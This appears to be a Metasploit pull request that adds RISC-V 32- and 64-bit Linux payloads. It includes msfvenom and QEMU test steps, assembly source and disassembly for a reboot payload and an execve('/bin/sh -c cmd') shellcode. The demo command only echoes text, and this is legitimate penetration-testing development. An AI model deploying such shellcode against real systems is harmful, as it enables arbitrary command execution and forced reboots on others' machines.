metasploit-framework
metasploit-framework copied to clipboard
Add support for RISC-V 32-bit / 64-bit Little Endian payloads
Add support for RISC-V 32-bit / 64-bit Little Endian payloads. Includes Linux Execute Command payloads and Linux Reboot payloads for testing.
- 32-bit payloads and NOPs were tested on QEMU
riscv32
successfully - 64-bit payloads and NOPs were tested on QEMU
riscv64
successfully - 64-bit payloads and NOPs were tested on MilkV Duo RISC-V 64-bit hardware successfully
Note: We don't handle syscall
failure or call exit
. This saves a few bytes.
Note: Executing 32-bit payloads in a 64-bit environment will fail.
Note: Executing the Linux Reboot payloads as a low privileged user will crash. reboot
is a privileged syscall.
Note: Executing the Linux Execute Command payloads in a Linux environment where /bin/sh
is a symlink to BusyBox /bin/busybox
(such as MilkV Duo default image) will crash. This is a WontFix for me. For testing purposes, you can work around this with: sudo cp /bin/sh /bin/sh.old && sudo cp /bin/bash /bin/sh
.
Motivation
This PR lays the foundation for further development of RISC-V payloads.
RISC-V is gaining popularity. Major Linux distributions (Ubuntu, Debian, and Fedora) offer RISC-V development builds. RISC-V based SBCs and consumer-grade laptops are slowly entering the market.
Verification
Linux Reboot
Generate a Linux Reboot payload (with optional NOP sled):
- [ ]
./msfvenom -n 100 --format elf -p linux/riscv64le/reboot > reboot.elf
Execute the payload with QEMU (I suggest doing this within an emulated Linux environment):
- [ ]
/home/user/qemu/build/qemu-riscv64 -strace ./reboot
- [ ] Note reboot fails as a low privileged user
- [ ] Save your work. You are about to reboot your system.
- [ ]
sudo /home/user/qemu/build/qemu-riscv64 -strace ./reboot
- [ ] Note the system reboots
Linux Execute Command
Generate a Linux Execute Command payload (with optional NOP sled):
- [ ]
./msfvenom --format elf -p linux/riscv64le/exec "CMD=echo Hello, World\!>/tmp/asdf" > exec.elf
Execute the payload with QEMU (optionally within an emulated Linux environment):
- [ ]
/home/user/qemu/build/qemu-riscv64 -strace ./exec
- [ ] Note the payload was executed successfully.
Hello, World!
should now exist in/tmp/asdf
.
Linux Reboot
Source (64-bit)
$ cat reboot.s
.global _start
.section .text
_start:
li a0, 0xfee1dead # magic1
li a1, 0x28121969 # magic2
li a2, 0x01234567 # LINUX_REBOOT_CMD_RESTART
li a7, 142 # reboot
ecall
$ cat build
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d reboot
reboot: file format elf64-littleriscv
Disassembly of section .text:
0000000000010078 <_start>:
10078: 0007f537 lui a0,0x7f
1007c: 70f5051b addiw a0,a0,1807
10080: 00d51513 slli a0,a0,0xd
10084: ead50513 addi a0,a0,-339 # 7eead <__global_pointer$+0x6d60d>
10088: 281225b7 lui a1,0x28122
1008c: 9695859b addiw a1,a1,-1687
10090: 01234637 lui a2,0x1234
10094: 5676061b addiw a2,a2,1383
10098: 08e00893 li a7,142
1009c: 00000073 ecall
Source (32-bit)
$ cat reboot.s
.global _start
.section .text
_start:
li a0, 0xfee1dead # magic1
li a1, 0x28121969 # magic2
li a2, 0x01234567 # LINUX_REBOOT_CMD_RESTART
li a7, 142 # reboot
ecall
$ cat build
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d reboot
reboot: file format elf32-littleriscv
Disassembly of section .text:
00010054 <_start>:
10054: fee1e537 lui a0,0xfee1e
10058: ead50513 addi a0,a0,-339 # fee1dead <__global_pointer$+0xfee0c639>
1005c: 281225b7 lui a1,0x28122
10060: 96958593 addi a1,a1,-1687 # 28121969 <__global_pointer$+0x281100f5>
10064: 01234637 lui a2,0x1234
10068: 56760613 addi a2,a2,1383 # 1234567 <__global_pointer$+0x1222cf3>
1006c: 08e00893 li a7,142
10070: 00000073 ecall
Linux Execute Command
Source (64-bit)
Uses modexp's RISC-V 64-bit shellcode.
$ cat exec.s
.global _start
.section .text
_start:
# execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
addi sp, sp, -64 # allocate 64 bytes of stack
li a7, 221 # execve
li a0, 0x0068732F6E69622F # a0 = "/bin/sh\0"
sd a0, (sp) # store "/bin/sh\0" on the stack
mv a0, sp # a0 = sp
li a1, 0x632D # a1 = "-c"
sd a1, 8(sp) # store "-c" on the stack
addi a1, sp, 8 # a1 = sp + 8
la a2, cmd # a2 = cmd
sd a0, 16(sp) # store a0 on the stack
sd a1, 24(sp) # store a1 on the stack
sd a2, 32(sp) # store a2 on the stack
sd x0, 40(sp) # store NULL on the stack
addi a1, sp, 16 # a1 = {"/bin/sh", "-c", cmd, NULL}
mv a2, x0 # penv = NULL
ecall
cmd:
.asciz "echo Hello, World!"
$ cat build
#!/bin/sh
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x exec
$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d exec
exec: file format elf64-littleriscv
Disassembly of section .text:
0000000000010078 <_start>:
10078: fc010113 addi sp,sp,-64
1007c: 0dd00893 li a7,221
10080: 34399537 lui a0,0x34399
10084: 7b75051b addiw a0,a0,1975
10088: 00c51513 slli a0,a0,0xc
1008c: 34b50513 addi a0,a0,843 # 3439934b <__global_pointer$+0x34387a63>
10090: 00d51513 slli a0,a0,0xd
10094: 22f50513 addi a0,a0,559
10098: 00a13023 sd a0,0(sp)
1009c: 00010513 mv a0,sp
100a0: 000065b7 lui a1,0x6
100a4: 32d5859b addiw a1,a1,813
100a8: 00b13423 sd a1,8(sp)
100ac: 00810593 addi a1,sp,8
100b0: 00000617 auipc a2,0x0
100b4: 02460613 addi a2,a2,36 # 100d4 <cmd>
100b8: 00a13823 sd a0,16(sp)
100bc: 00b13c23 sd a1,24(sp)
100c0: 02c13023 sd a2,32(sp)
100c4: 02013423 sd zero,40(sp)
100c8: 01010593 addi a1,sp,16
100cc: 00000613 li a2,0
100d0: 00000073 ecall
00000000000100d4 <cmd>:
100d4: 6365 lui t1,0x19
100d6: 6f68 ld a0,216(a4)
100d8: 4820 lw s0,80(s0)
100da: 6c65 lui s8,0x19
100dc: 6f6c ld a1,216(a4)
100de: 202c fld fa1,64(s0)
100e0: 6c726f57 0x6c726f57
100e4: 2164 fld fs1,192(a0)
...
Source (32-bit)
Uses modexp's RISC-V 64-bit shellcode modified for RISC-V 32-bit.
$ cat exec.s
.global _start
.section .text
_start:
# execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
addi sp, sp, -32 # allocate 32 bytes of stack
li a7, 221 # execve
li a0, 0x6E69622F # a0 = "/bin"
sw a0, 0(sp) # store "/bin" on the stack
li a0, 0x0068732F # a0 = "/sh\0"
sw a0, 4(sp) # store "/sh\0" on the stack
addi a0, sp, 0 # a0 = sp
li a1, 0x632D # a1 = "-c"
sw a1, 8(sp) # store "-c" on the stack
addi a1, sp, 8 # a1 = sp + 8
la a2, cmd # a2 = cmd
sw a0, 12(sp) # store a0 on the stack
sw a1, 16(sp) # store a1 on the stack
sw a2, 20(sp) # store a2 on the stack
sw x0, 24(sp) # store NULL on the stack
addi a1, sp, 12 # a1 = {"/bin/sh", "-c", cmd, NULL}
mv a2, x0 # penv = NULL
ecall
cmd:
.asciz "echo Hello, World!"
$ cat build
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x exec
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d exec
exec: file format elf32-littleriscv
Disassembly of section .text:
00010054 <_start>:
10054: fe010113 addi sp,sp,-32
10058: 0dd00893 li a7,221
1005c: 6e696537 lui a0,0x6e696
10060: 22f50513 addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e68496f>
10064: 00a12023 sw a0,0(sp)
10068: 00687537 lui a0,0x687
1006c: 32f50513 addi a0,a0,815 # 68732f <__global_pointer$+0x675a6f>
10070: 00a12223 sw a0,4(sp)
10074: 00010513 mv a0,sp
10078: 000065b7 lui a1,0x6
1007c: 32d58593 addi a1,a1,813 # 632d <_start-0x9d27>
10080: 00b12423 sw a1,8(sp)
10084: 00810593 addi a1,sp,8
10088: 00000617 auipc a2,0x0
1008c: 02460613 addi a2,a2,36 # 100ac <cmd>
10090: 00a12623 sw a0,12(sp)
10094: 00b12823 sw a1,16(sp)
10098: 00c12a23 sw a2,20(sp)
1009c: 00012c23 sw zero,24(sp)
100a0: 00c10593 addi a1,sp,12
100a4: 00000613 li a2,0
100a8: 00000073 ecall
000100ac <cmd>:
100ac: 6365 lui t1,0x19
100ae: 6f68 flw fa0,92(a4)
100b0: 4820 lw s0,80(s0)
100b2: 6c65 lui s8,0x19
100b4: 6f6c flw fa1,92(a4)
100b6: 202c fld fa1,64(s0)
100b8: 6c726f57 0x6c726f57
100bc: 2164 fld fs1,192(a0)
...